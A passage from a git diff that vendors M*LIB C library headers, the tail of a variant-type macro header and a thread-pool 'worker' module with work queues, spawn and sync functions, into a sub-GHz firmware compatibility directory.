+   M_IF_METHOD_ALL(FIELD, __VA_ARGS__)(M_VAR1ANT_OPLIST_EMPLACE_TYPE,M_EAT)(name, __VA_ARGS__), \
+   )
+#endif
+
+/* Expand to an EMPLACE_TYPE compatible with OPLIST definition
+   (Use M_REDUCE2 which is already used by M_IF_METHOD_ALL)
+ */
+#define M_VAR1ANT_OPLIST_EMPLACE_TYPE(name, ...) EMPLACE_TYPE( LIST(          \
+ M_REDUCE2(M_VAR1ANT_OPLIST_EMPLACE_TYPE_EXPAND, M_ID, name, __VA_ARGS__)     \
+                                                                   ))
+#define M_VAR1ANT_OPLIST_EMPLACE_TYPE_EXPAND(name, oplist)                    \
+  ( M_C(_, M_GET_FIELD oplist), M_C3(name, _init_set_, M_GET_FIELD oplist),   \
+    M_C4(m_var1ant_, name, _type_, M_GET_FIELD oplist) )
+
+
+/********************************** INTERNAL *********************************/
+
+/* Macros for testing for method presence */
+#define M_VAR1ANT_TEST_METHOD_P2(method, f, t, op)                            \
+  M_TEST_METHOD_P(method, op)
+#define M_VAR1ANT_TEST_METHOD_P(method, trio)                                 \
+  M_APPLY(M_VAR1ANT_TEST_METHOD_P2, method, M_OPFLAT trio)
+#define M_VAR1ANT_IF_ALL(method, ...)                                         \
+  M_IF(M_REDUCE2(M_VAR1ANT_TEST_METHOD_P, M_AND, method, __VA_ARGS__))
+
+#define M_VAR1ANT_TEST_METHOD2_P2(method1, method2, f, t, op)                 \
+  M_AND(M_TEST_METHOD_P(method1, op), M_TEST_METHOD_P(method2, op))
+#define M_VAR1ANT_TEST_METHOD2_P(method, trio)                                \
+  M_APPLY(M_VAR1ANT_TEST_METHOD2_P2, M_PAIR_1 method, M_PAIR_2 method, M_OPFLAT trio)
+#define M_VAR1ANT_IF_ALL2(method1, method2,  ...)                             \
+  M_IF(M_REDUCE2(M_VAR1ANT_TEST_METHOD2_P, M_AND, (method1, method2), __VA_ARGS__))
+
+
+/********************************** INTERNAL *********************************/
+
+/* INIT_WITH macro using _Generic
+   Expand as:
+    _Generic ( (x),
+        M_C4(m_var1ant_, name, _gentype_, num) : M_C4(m_var1ant_, name, _init_set_, num)(x, M_AS_TYPE() ),
+        ...
+    )
+*/
+#define M_VAR1ANT_INIT_WITH(oplist, dest, src)                                \
+  M_VAR1ANT_INIT_WITH_B(M_GET_NAME oplist, M_GET_SIZE oplist, dest, src)
+#define M_VAR1ANT_INIT_WITH_B(name, num, dest, src)                           \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( (src),                                                            \
+  M_MAP2(M_VAR1ANT_INIT_WITH_FUNC, (name,dest,src), M_SEQ(1, num))            \
+  struct m_var1ant_dummy_s *: /* cannot happen */ (void)0 )                   \
+  M_G3N_END_PROTECTED_CODE
+#define M_VAR1ANT_INIT_WITH_FUNC(triplet, num)                                \
+  M_VAR1ANT_INIT_WITH_FUNC_EXPAND(M_TRIPLE_1 triplet, M_TRIPLE_2 triplet, M_TRIPLE_3 triplet, num)
+#define M_VAR1ANT_INIT_WITH_FUNC_EXPAND(name, dest, src, num)                 \
+  M_C4(m_var1ant_, name, _gentype_, num) : M_C4(m_var1ant_, name, _init_set_, num)(dest, M_AS_TYPE(M_C4(m_var1ant_, name, _gentype_, num), src) ), \
+  M_C4(m_var1ant_, name, _const_gentype_, num): M_C4(m_var1ant_, name, _init_set_, num)(dest, M_AS_TYPE(M_C4(m_var1ant_, name, _const_gentype_, num), src) ),
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define VARIANT_DEF2 M_VARIANT_DEF2
+#define VARIANT_DEF2_AS M_VARIANT_DEF2_AS
+#define VARIANT_OPLIST M_VARIANT_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-worker.h b/lib/subghz_unleashed_compat/include/mlib/m-worker.h
new file mode 100644
index 000000000..b1df20c20
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-worker.h
@@ -0,0 +1,714 @@
+/*
+ * M*LIB / WORKER - Extra worker interface
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_WORKER_H
+#define MSTARLIB_WORKER_H
+
+/* The User Code can define M_USE_WORKER to 0 to disable the use of workers.
+   The macros / functions are then defined to only use one core.
+   By default, the behavior is to use workers.
+*/
+#ifndef M_USE_WORKER
+# define M_USE_WORKER 1
+#endif
+
+
+#if M_USE_WORKER
+
+#include "m-atomic.h"
+#include "m-buffer.h"
+#include "m-thread.h"
+
+/* Include needed system header for detection of how many cores are available in the system */
+#if defined(_WIN32)
+# include <sysinfoapi.h>
+#elif (defined(__APPLE__) && defined(__MACH__))                               \
+  || defined(__DragonFly__) || defined(__FreeBSD__)                           \
+  || defined(__NetBSD__) || defined(__OpenBSD__)
+# include <sys/param.h>
+# include <sys/sysctl.h>
+# define M_USE_WORKER_SYSCTL 1
+#else
+# include <unistd.h>
+#endif
+
+/* Support for CLANG block since CLANG doesn't support nested function.
+   M-WORKER uses its 'blocks' extension instead, but it is not compatible
+   with function.
+   So you need to compile with "-fblocks" and link with "-lBlocksRuntime"
+   if you use clang & want to use the MACRO version.
+
+   if C++, it will use Lambda function (and std::function) instead
+   (It doesn't support pre-C++11 compiler).
+
+   Otherwise go with nested function (GCC) for the MACRO version.
+
+   This behavior can be overriden by User Code by defining to 1 or 0 the
+   following macros:
+   * M_USE_WORKER_CPP_FUNCTION
+   * M_USE_WORKER_CLANG_BLOCK
+*/
+
+#if defined(__cplusplus) && !defined(M_USE_WORKER_CPP_FUNCTION)
+# define M_USE_WORKER_CPP_FUNCTION 1
+# include <functional>
+#elif defined(__has_extension) && !defined(M_USE_WORKER_CLANG_BLOCK)
+# if __has_extension(blocks)
+#  define M_USE_WORKER_CLANG_BLOCK 1
+# endif
+#endif
+
+#ifndef M_USE_WORKER_CLANG_BLOCK
+# define M_USE_WORKER_CLANG_BLOCK 0
+#endif
+#ifndef M_USE_WORKER_CPP_FUNCTION
+# define M_USE_WORKER_CPP_FUNCTION 0
+#endif
+
+/* Control that not both options are selected at the same time.
+   Note: there are not really incompatible, but if we use C++ we shall go to
+   lambda directly (there is no need to support blocks). */
+#if M_USE_WORKER_CLANG_BLOCK && M_USE_WORKER_CPP_FUNCTION
+# error M_USE_WORKER_CPP_FUNCTION and M_USE_WORKER_CLANG_BLOCK are both defined. This is not supported.
+#endif
+
+M_BEGIN_PROTECTED_CODE
+
+/* Definition of a work order */
+typedef struct m_work3r_order_s {
+  struct m_worker_sync_s *block;  // Reference to the shared Synchronization block
+  void * data;                    // The work order data
+  void (*func) (void *data);      // The work order function (for GCC)
+#if M_USE_WORKER_CLANG_BLOCK
+  void (^blockFunc)(void *data);  // The work order function (block for clang)
+#endif
+#if M_USE_WORKER_CPP_FUNCTION
+  std::function<void(void*)> function; // The work order function (for C++)
+#endif
+} m_work3r_order_ct;
+
+/* Define the macros needed to initialize an order.
+ * * MACRO to be used to send an empty order to stop the thread
+ * * MACRO to complete the not-used fields
+ */
+#if M_USE_WORKER_CLANG_BLOCK || M_USE_WORKER_CPP_FUNCTION
+# define M_WORK3R_EMPTY_ORDER { NULL, NULL, NULL, NULL }
+# define M_WORK3R_EXTRA_ORDER , NULL
+#else
+# define M_WORK3R_EMPTY_ORDER { NULL, NULL, NULL }
+# define M_WORK3R_EXTRA_ORDER
+#endif
+
+/* As it is C++, it uses std::function, M_POD_OPLIST
+   is not sufficient for initialization of the structure.
+   So let's use C++ constructor, destructor and copy constructor */
+#if M_USE_WORKER_CPP_FUNCTION
+# define M_WORK3R_CPP_INIT(x)        (new (&(x)) m_work3r_order_ct())
+# define M_WORK3R_CPP_INIT_SET(x, y) (new (&(x)) m_work3r_order_ct(y))
+# define M_WORK3R_CPP_SET(x, y)      ((x) = (y))
+# define M_WORK3R_CPP_CLEAR(x)       ((&(x))->~m_work3r_order_ct())
+# define M_WORK3R_CPP_INIT_MOVE(x,y) (new (&(x)) m_work3r_order_ct(y), ((&(y))->~m_work3r_order_ct()))
+# define M_WORK3R_OPLIST                                                      \
+      (INIT(M_WORK3R_CPP_INIT), INIT_SET(M_WORK3R_CPP_INIT_SET),              \
+      SET(M_WORK3R_CPP_SET), CLEAR(M_WORK3R_CPP_CLEAR), INIT_MOVE(M_WORK3R_CPP_INIT_MOVE) )
+#else
+# define M_WORK3R_OPLIST M_POD_OPLIST
+#endif
+
+/* Definition of the identity of a worker thread */
+typedef struct m_work3r_thread_s {
+  m_thread_t id;
+} m_work3r_thread_ct;
+
+/* Definition of the queue that will record the work orders */
+M_BUFFER_DEF(m_work3r_queue, m_work3r_order_ct, 0, M_BUFFER_QUEUE|M_BUFFER_DEFERRED_POP, M_WORK3R_OPLIST)
+
+/* Definition the global pool of workers */
+typedef struct m_worker_s {
+  /* The work order queue */
+  m_work3r_queue_t queue_g;
+
+  /* The table of available workers */
+  m_work3r_thread_ct *worker;
+
+  /* Number of workers in the table */
+  unsigned int numWorker_g;
+
+  /* The global reset function */
+  void (*resetFunc_g)(void);
+
+  /* The global clear function */
+  void (*clearFunc_g)(void);
+
+  m_mutex_t lock;
+  m_cond_t  a_thread_ends;        // EVENT: A worker has ended
+
+} m_worker_t[1];
+
+/* Definition of the synchronization point for workers */
+typedef struct m_worker_sync_s {
+  atomic_int num_spawn;                 // Number of spawned workers accord this synchronization point
+  atomic_int num_terminated_spawn;      // Number of terminated spawned workers
+  struct m_worker_s *worker;            // Reference to the pool of workers
+} m_worker_sync_t[1];
+
+
+/* Extend m_worker_spawn by defining a specialization function
+   with the given arguments.
+   Generate the needed encapsulation for the user.
+   USAGE: name, oplists of arguments */
+#define M_WORKER_SPAWN_DEF2(name, ...)                                        \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_WORK3R_SPAWN_EXTEND_P1( (name, M_MAP_C(M_WORK3R_SPAWN_EXTEND_P0, __VA_ARGS__) ) ) \
+  M_END_PROTECTED_CODE
+
+/* Output a valid oplist with the given type.
+   input is (field-name, type) or (field-name, type, oplist)
+   Output shall be : M_OPEXTEND(M_GLOBAL_OPLIST_OR_DEF(type_or_oplist)(), TYPE(type)) / M_OPEXTEND(oplist, TYPE(type))
+ */
+#define M_WORK3R_SPAWN_EXTEND_P0(...)                       M_BY_NARGS(M_WORK3R_SPAWN_EXTEND_P0, M_ID __VA_ARGS__) __VA_ARGS__
+#define M_WORK3R_SPAWN_EXTEND_P0__2(field, type)            M_OPEXTEND(M_GLOBAL_OPLIST_OR_DEF(type)(), TYPE(type))
+#define M_WORK3R_SPAWN_EXTEND_P0__3(field, type, oplist)    M_IF_OPLIST(oplist)(M_WORK3R_SPAWN_EXTEND_P0__3_OK, M_WORK3R_SPAWN_EXTEND_P0__3_KO)(field, type, oplist)
+#define M_WORK3R_SPAWN_EXTEND_P0__3_OK(field, type, oplist) M_OPEXTEND(oplist, TYPE(type))
+#define M_WORK3R_SPAWN_EXTEND_P0__3_KO(field, type, oplist)                   \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(M_WORKER_SPAWN_DEF2): the argument is not a valid oplist: " M_MAP(M_AS_STR, oplist))
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_WORK3R_SPAWN_EXTEND_P1(arg) M_ID( M_WORK3R_SPAWN_EXTEND_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_WORK3R_SPAWN_EXTEND_P2(name, ...)                                   \
+  M_IF(M_REDUCE(M_OPLIST_P, M_AND, __VA_ARGS__))                              \
+  (M_WORK3R_SPAWN_EXTEND_P3, M_WORK3R_SPAWN_EXTEND_FAILURE)(name, __VA_ARGS__)
+
+/* Stop processing with a compilation failure */
+#define M_WORK3R_SPAWN_EXTEND_FAILURE(name, ...)                              \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST,                                       \
+                   "(M_WORKER_SPAWN_DEF2): at least one of the given argument is not a valid oplist: " \
+                   M_MAP(M_AS_STR, __VA_ARGS__))
+
+/* Define the extension of spawn */
+#define M_WORK3R_SPAWN_EXTEND_P3(name, ...)                                   \
+  M_WORK3R_SPAWN_EXTEND_DEF_TYPE(name, __VA_ARGS__)                           \
+  M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK(name, __VA_ARGS__)                       \
+  M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE(name, __VA_ARGS__)                        \
+
+/* Define the type */
+#define M_WORK3R_SPAWN_EXTEND_DEF_TYPE(name, ...)                             \
+  typedef void (*M_C3(m_worker_,name, _callback_ct))(M_MAP_C(M_WORK3R_SPAWN_EXTEND_DEF_TYPE_TYPE, __VA_ARGS__)); \
+  struct M_C3(m_worker_, name, _s){                                           \
+    M_C3(m_worker_, name, _callback_ct) callback;                             \
+    M_MAP3(M_WORK3R_SPAWN_EXTEND_DEF_TYPE_FIELD, data, __VA_ARGS__)           \
+      };
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_TYPE_FIELD(data, num, oplist)               \
+  M_GET_TYPE oplist M_C(field, num);
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_TYPE_TYPE(oplist)                           \
+  M_GET_TYPE oplist
+
+/* Define the callback */
+#define M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK(name, ...)                         \
+  M_INLINE void                                                               \
+  M_C3(m_work3r_, name, _clear)(struct M_C3(m_worker_, name, _s) *p)          \
+  {                                                                           \
+    M_GLOBAL_CONTEXT();                                                       \
+    M_MAP3(M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK_CLEAR, data, __VA_ARGS__)       \
+    /* TODO: Overload */                                                      \
+    M_MEMORY_DEL(m_context, p);                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_C3(m_work3r_, name, _callback)(void *data)                                \
+  {                                                                           \
+    struct M_C3(m_worker_, name, _s) *p = (struct M_C3(m_worker_, name, _s) *) data; \
+    (*p->callback)(                                                           \
+    M_MAP3_C(M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK_FIELD, data, __VA_ARGS__)     \
+                                                                        );    \
+    M_C3(m_work3r_, name, _clear)(p);                                         \
+  }
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK_FIELD(data, num, oplist)           \
+  p->M_C(field, num)
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_CALLBACK_CLEAR(data, num, oplist)           \
+  M_CALL_CLEAR(oplist, p->M_C(field, num)) ;
+
+/* Define the emplace like spawn method */
+#define M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE(name, ...)                          \
+  M_INLINE void                                                               \
+  M_C(m_worker_spawn_, name)(m_worker_sync_t block, M_C3(m_worker_, name, _callback_ct) callback, \
+                             M_MAP3_C(M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD, data, __VA_ARGS__) \
+                             )                                                \
+  {                                                                           \
+    M_GLOBAL_CONTEXT();                                                       \
+    if (!m_work3r_queue_full_p(block->worker->queue_g)) {                     \
+      struct M_C3(m_worker_, name, _s) *p = M_MEMORY_ALLOC (m_context, struct M_C3(m_worker_, name, _s)); \
+      if (M_UNLIKELY_NOMEM(p == NULL)) {                                      \
+        M_MEMORY_FULL(struct M_C3(m_worker_, name, _s), 1);                   \
+      }                                                                       \
+      p->callback = callback;                                                 \
+      M_MAP3(M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD_INIT_SET, data, __VA_ARGS__) \
+      const m_work3r_order_ct w = { block, p, M_C3(m_work3r_, name, _callback) M_WORK3R_EXTRA_ORDER }; \
+      if (m_work3r_queue_push_blocking (block->worker->queue_g, w, false) == true) { \
+        atomic_fetch_add (&block->num_spawn, 1);                              \
+        return;                                                               \
+      }                                                                       \
+      /* No worker available now. Call the function ourself */                \
+      /* But before clear the allocated data */                               \
+      M_C3(m_work3r_, name, _clear)(p);                                       \
+    }                                                                         \
+    /* No worker available. Call the function ourself */                      \
+    (*callback) (                                                             \
+                 M_MAP3_C(M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD_ALONE, data, __VA_ARGS__) \
+                                                                        );    \
+  }
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD(data, num, oplist)            \
+  M_GET_TYPE oplist M_C(param, num)
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD_INIT_SET(data, num, oplist)   \
+  M_CALL_INIT_SET(oplist, p-> M_C(field, num), M_C(param, num) );
+
+#define M_WORK3R_SPAWN_EXTEND_DEF_EMPLACE_FIELD_ALONE(data, num, oplist)      \
+  M_C(param, num)
+
+
+
+/* Return the number of CPU cores available in the system.
+   Works for WINDOWS, MACOS, *BSD, LINUX.
+ */
+M_INLINE int
+m_work3r_get_cpu_count(void)
+{
+#if defined(_WIN32)
+  SYSTEM_INFO sysinfo;
+  GetSystemInfo(&sysinfo);
+  M_ASSERT(sysinfo.dwNumberOfProcessors <= INT_MAX);
+  return (int) sysinfo.dwNumberOfProcessors;
+#elif defined(M_USE_WORKER_SYSCTL)
+  int nm[2];
+  int count = 0;
+  size_t len = sizeof (count);
+  nm[0] = CTL_HW;
+  nm[1] = HW_NCPU;
+  sysctl(nm, 2, &count, &len, NULL, 0);
+  return M_MAX(1, count);
+#elif defined (_SC_NPROCESSORS_ONLN)
+  return (int) sysconf(_SC_NPROCESSORS_ONLN);
+#elif defined (_SC_NPROCESSORS_CONF)
+  return (int) sysconf(_SC_NPROCESSORS_CONF);
+#else
+  return 1;
+#endif
+}
+
+// (INTERNAL) Debug support for workers
+#if 1
+#define M_WORK3R_DEBUG(...) (void) 0
+#else
+#define M_WORK3R_DEBUG(...) printf(__VA_ARGS__)
+#endif
+
+/* Execute the registered work order **synchronously** */
+M_INLINE void
+m_work3r_exec(m_work3r_order_ct *w)
+{
+  M_ASSERT (w!= NULL && w->block != NULL);
+  M_WORK3R_DEBUG ("Starting thread with data %p\n", w->data);
+#if M_USE_WORKER_CLANG_BLOCK
+  M_WORK3R_DEBUG ("Running %s f=%p b=%p\n", (w->func == NULL) ? "Blocks" : "Function", w->func, w->blockFunc);
+  if (w->func == NULL)
+    w->blockFunc(w->data);
+  else
+#endif
+#if M_USE_WORKER_CPP_FUNCTION
+    M_WORK3R_DEBUG ("Running %s f=%p b=%p\n", (w->function == NULL) ? "Lambda" : "Function", w->func, w->blockFunc);
+    if (w->function)
+      w->function(w->data);
+    else
+#endif
+      w->func(w->data);
+  /* Increment the number of terminated work order for the synchronous point */
+  atomic_fetch_add (&w->block->num_terminated_spawn, 1);
+}
+
+
+/* The worker thread main loop*/
+M_INLINE void
+m_work3r_thread(void *arg)
+{
+  // Get back the given argument
+  struct m_worker_s *g = M_ASSIGN_CAST(struct m_worker_s *, arg);
+  M_GLOBAL_CONTEXT();
+  while (true) {
+    m_work3r_order_ct w;
+    // If needed, reset the global state of the worker
+    if (g->resetFunc_g != NULL) {
+      g->resetFunc_g();
+    }
+    // Waiting for data
+    M_WORK3R_DEBUG ("Waiting for data (queue: %lu / %lu)\n", m_work3r_queue_size(g->queue_g), m_work3r_queue_capacity(g->queue_g));
+    m_work3r_queue_pop (&w, g->queue_g);
+    // We received a work order 
+    // Note: that the work order is still present in the queue
+    // preventing further work order to be pushed in the queue until it finishes doing the work
+    // If a stop request is received, terminate the thread 
+    if (w.block == NULL) break;
+    // Execute the work order
+    m_work3r_exec(&w);
+    // Consume fully the work order in the queue
+    m_work3r_queue_pop_release(g->queue_g);
+    // Signal that a worker has finished.
+    m_mutex_lock(g->lock);
+    m_cond_broadcast(g->a_thread_ends);
+    m_mutex_unlock(g->lock);
+  }
+  // If needed, clear global state of the thread
+  if (g->clearFunc_g != NULL) {
+    g->clearFunc_g();
+  }
+}
+
+/* Initialization of the worker module (constructor)
+   Input:
+   @numWorker: number of worker to create (0=autodetect, -1=2*autodetect)
+   @extraQueue: number of extra work order we can get if all workers are full
+   @resetFunc: function to reset the state of a worker between work orders (or NULL if none)
+   @clearFunc: function to clear the state of a worker before terminating (or NULL if none)
+*/
+M_INLINE void
+m_worker_init(m_worker_t g, int numWorker, unsigned int extraQueue, void (*resetFunc)(void), void (*clearFunc)(void))
+{
+  M_ASSERT (numWorker >= -1);
+  // Auto compute number of workers if the argument is 0
+  if (numWorker <= 0)
+    numWorker = (1 + (numWorker == -1))*m_work3r_get_cpu_count()-1;
+  M_WORK3R_DEBUG ("Starting queue with: %d\n", numWorker + extraQueue);
+  // Initialization
+  // numWorker can still be 0 if it is a single core cpu (no worker available)
+  M_ASSERT(numWorker >= 0);
+  size_t numWorker_st = (size_t) numWorker;
+  M_GLOBAL_CONTEXT();
+  g->worker = M_MEMORY_REALLOC(m_context, m_work3r_thread_ct, NULL, 0, numWorker_st);
+  if (M_UNLIKELY_NOMEM (g->worker == NULL)) {
+    M_MEMORY_FULL(m_work3r_thread_ct, numWorker_st);
+  }
+  m_work3r_queue_init (g->queue_g, numWorker_st + extraQueue);
+  g->numWorker_g = (unsigned int) numWorker_st;
+  g->resetFunc_g = resetFunc;
+  g->clearFunc_g = clearFunc;
+  m_mutex_init(g->lock);
+  m_cond_init(g->a_thread_ends);
+  
+  // Create & start the workers
+  for(size_t i = 0; i < numWorker_st; i++) {
+    m_thread_create(g->worker[i].id, m_work3r_thread, M_ASSIGN_CAST(void*, g));
+  }
+}
+/* Initialization of the worker module (constructor)
+   Provide default values for the arguments.
+   Input:
+   @numWorker: number of worker to create (0=autodetect, -1=2*autodetect)
+   @extraQueue: number of extra work order we can get if all workers are full
+   @resetFunc: function to reset the state of a worker between work orders (optional)
+   @clearFunc: function to clear the state of a worker before terminating (optional)
+*/
+#define m_worker_init(...) m_worker_init(M_DEFAULT_ARGS(5, (0, 0, NULL, NULL), __VA_ARGS__))
+
+/* Clear of the worker module (destructor) */
+M_INLINE void
+m_worker_clear(m_worker_t g)
+{
+  M_ASSERT (m_work3r_queue_empty_p (g->queue_g));
+  M_GLOBAL_CONTEXT();
+  // Push the terminate order on the queue
+  for(unsigned int i = 0; i < g->numWorker_g; i++) {
+    m_work3r_order_ct w = M_WORK3R_EMPTY_ORDER;
+    // Normally all worker threads shall be waiting at this
+    // stage, so all push won't block as the queue is empty.
+    // But for robustness, let's wait.
+    m_work3r_queue_push_blocking (g->queue_g, w, true);
+  }
+  // Wait for thread termination
+  for(unsigned int i = 0; i < g->numWorker_g; i++) {
+    m_thread_join(g->worker[i].id);
+  }
+  // Clear memory
+  M_MEMORY_FREE(m_context, m_work3r_thread_ct, g->worker, g->numWorker_g);
+  m_mutex_clear(g->lock);
+  m_cond_clear(g->a_thread_ends);
+  m_work3r_queue_clear (g->queue_g);
+}
+
+/* Start a new collaboration between workers of pool 'g'
+   by defining the synchronization point 'block' */
+M_INLINE void
+m_worker_start(m_worker_sync_t block, m_worker_t g)
+{
+  atomic_init (&block->num_spawn, 0);
+  atomic_init (&block->num_terminated_spawn, 0);
+  block->worker = g;
+}
+
+/* Spawn the given work order to workers if possible,
+   or do it ourself if no worker is available.
+   The synchronization point is defined a 'block'
+   The work order if composed of the function 'func' and its 'data'
+*/
+M_INLINE void
+m_worker_spawn(m_worker_sync_t block, void (*func)(void *data), void *data)
+{
+  const m_work3r_order_ct w = {  block, data, func M_WORK3R_EXTRA_ORDER };
+  M_GLOBAL_CONTEXT();
+  if (M_UNLIKELY (!m_work3r_queue_full_p(block->worker->queue_g))
+      && m_work3r_queue_push_blocking (block->worker->queue_g, w, false) == true) {
+    M_WORK3R_DEBUG ("Sending data to thread: %p (block: %d / %d)\n", data, block->num_spawn, block->num_terminated_spawn);
+    atomic_fetch_add (&block->num_spawn, 1);
+    return;
+  }
+  M_WORK3R_DEBUG ("Running data ourself: %p\n", data);
+  /* No worker available. Call the function ourself */
+  (*func) (data);
+}
+
+#if M_USE_WORKER_CLANG_BLOCK
+/* Spawn or not the given work order to workers,
+   or do it ourself if no worker is available */
+M_INLINE void
+m_work3r_spawn_block(m_worker_sync_t block, void (^func)(void *data), void *data)
+{
+  const m_work3r_order_ct w = {  block, data, NULL, func };
+  M_GLOBAL_CONTEXT();
+  if (M_UNLIKELY (!m_work3r_queue_full_p(block->worker->queue_g))
+      && m_work3r_queue_push_blocking (block->worker->queue_g, w, false) == true) {
+    M_WORK3R_DEBUG ("Sending data to thread as block: %p (block: %d / %d)\n", data, block->num_spawn, block->num_terminated_spawn);
+    atomic_fetch_add (&block->num_spawn, 1);
+    return;
+  }
+  M_WORK3R_DEBUG ("Running data ourself as block: %p\n", data);
+  /* No worker available. Call the function ourself */
+  func (data);
+}
+#endif
+
+#if M_USE_WORKER_CPP_FUNCTION
+/* Spawn or not the given work order to workers,
+   or do it ourself if no worker is available */
+M_INLINE void
+m_work3r_spawn_function(m_worker_sync_t block, std::function<void(void *data)> func, void *data)
+{
+  const m_work3r_order_ct w = {  block, data, NULL, func };
+  M_GLOBAL_CONTEXT();
+  if (M_UNLIKELY (!m_work3r_queue_full_p(block->worker->queue_g))
+      && m_work3r_queue_push_blocking (block->worker->queue_g, w, false) == true) {
+    M_WORK3R_DEBUG ("Sending data to thread as block: %p (block: %d / %d)\n", data, block->num_spawn, block->num_terminated_spawn);
+    atomic_fetch_add (&block->num_spawn, 1);
+    return;
+  }
+  M_WORK3R_DEBUG ("Running data ourself as block: %p\n", data);
+  /* No worker available. Call the function ourself */
+  func (data);
+}
+#endif
+
+/* Test if all work orders of the given synchronization point are finished */
+M_INLINE bool
+m_worker_sync_p(m_worker_sync_t block)
+{
+  /* If the number of spawns is greater than the number
+     of terminated spawns, some spawns are still working.
+     So wait for termination */
+  return (atomic_load(&block->num_spawn) == atomic_load (&block->num_terminated_spawn));
+}
+
+/* Wait for all work orders of the given synchronization point to be finished */
+M_INLINE void
+m_worker_sync(m_worker_sync_t block)
+{
+  M_WORK3R_DEBUG ("Waiting for thread termination.\n");
+  // Fast case: all workers have finished
+  if (m_worker_sync_p(block)) return;
+  // Slow case: perform a locked wait to put this thread to waiting state
+  m_mutex_lock(block->worker->lock);
+  while (!m_worker_sync_p(block)) {
+    m_cond_wait(block->worker->a_thread_ends, block->worker->lock);
+  }
+  m_mutex_unlock(block->worker->lock);
+}
+
+/* Flush any work order in the queue ourself if some remains.*/
+M_INLINE void
+m_worker_flush(m_worker_t g)
+{
+  m_work3r_order_ct w;
+  M_GLOBAL_CONTEXT();
+  while (m_work3r_queue_pop_blocking (&w, g->queue_g, false) == true) {
+    m_work3r_exec(&w);
+    m_work3r_queue_pop_release(g->queue_g);
+  }
+}
+
+
+/* Return the number of workers */
+M_INLINE size_t
+m_worker_count(m_worker_t g)
+{
+  return g->numWorker_g + 1;
+}
+
+/* Spawn the 'core' block computation into another thread if
+   a worker thread is available. Compute it in the current thread otherwise.
+   'block' shall be the initialised synchronized block for all threads.
+   'input' is the list of input variables of the 'core' block within "( )"
+   'output' is the list of output variables of the 'core' block within "( )"
+   Output variables are only available after a synchronisation block.
+  TODO: Support oplist for input & outputs parameters 
+*/
+#if M_USE_WORKER_CLANG_BLOCK
+#define M_WORKER_SPAWN(_block, _input, _core, _output)                        \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wshadow\"")                            \
+  M_WORK3R_DEF_DATA(_input, _output)                                          \
+  M_WORK3R_DEF_SUBBLOCK(_input, _output, _core)                               \
+  m_work3r_spawn_block ((_block), M_WORK3R_SPAWN_SUBFUNC_NAME,  &M_WORK3R_SPAWN_DATA_NAME); \
+  _Pragma("clang diagnostic pop")
+#elif M_USE_WORKER_CPP_FUNCTION
+// TODO: Explicit pass all arguments by reference.
+#define M_WORKER_SPAWN(_block, _input, _core, _output)                        \
+  m_work3r_spawn_function ((_block), [&](void *param) {(void)param ; _core } ,  NULL)
+#else
+#define M_WORKER_SPAWN(_block, _input, _core, _output)                        \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wshadow\"")                              \
+  M_WORK3R_DEF_DATA(_input, _output)                                          \
+  M_WORK3R_DEF_SUBFUNC(_input, _output, _core)                                \
+  m_worker_spawn ((_block), M_WORK3R_SPAWN_SUBFUNC_NAME,  &M_WORK3R_SPAWN_DATA_NAME); \
+  _Pragma("GCC diagnostic pop")
+#endif
+
+#define M_WORK3R_SPAWN_STRUCT_NAME   M_C(m_work3r_data_s_, __LINE__)
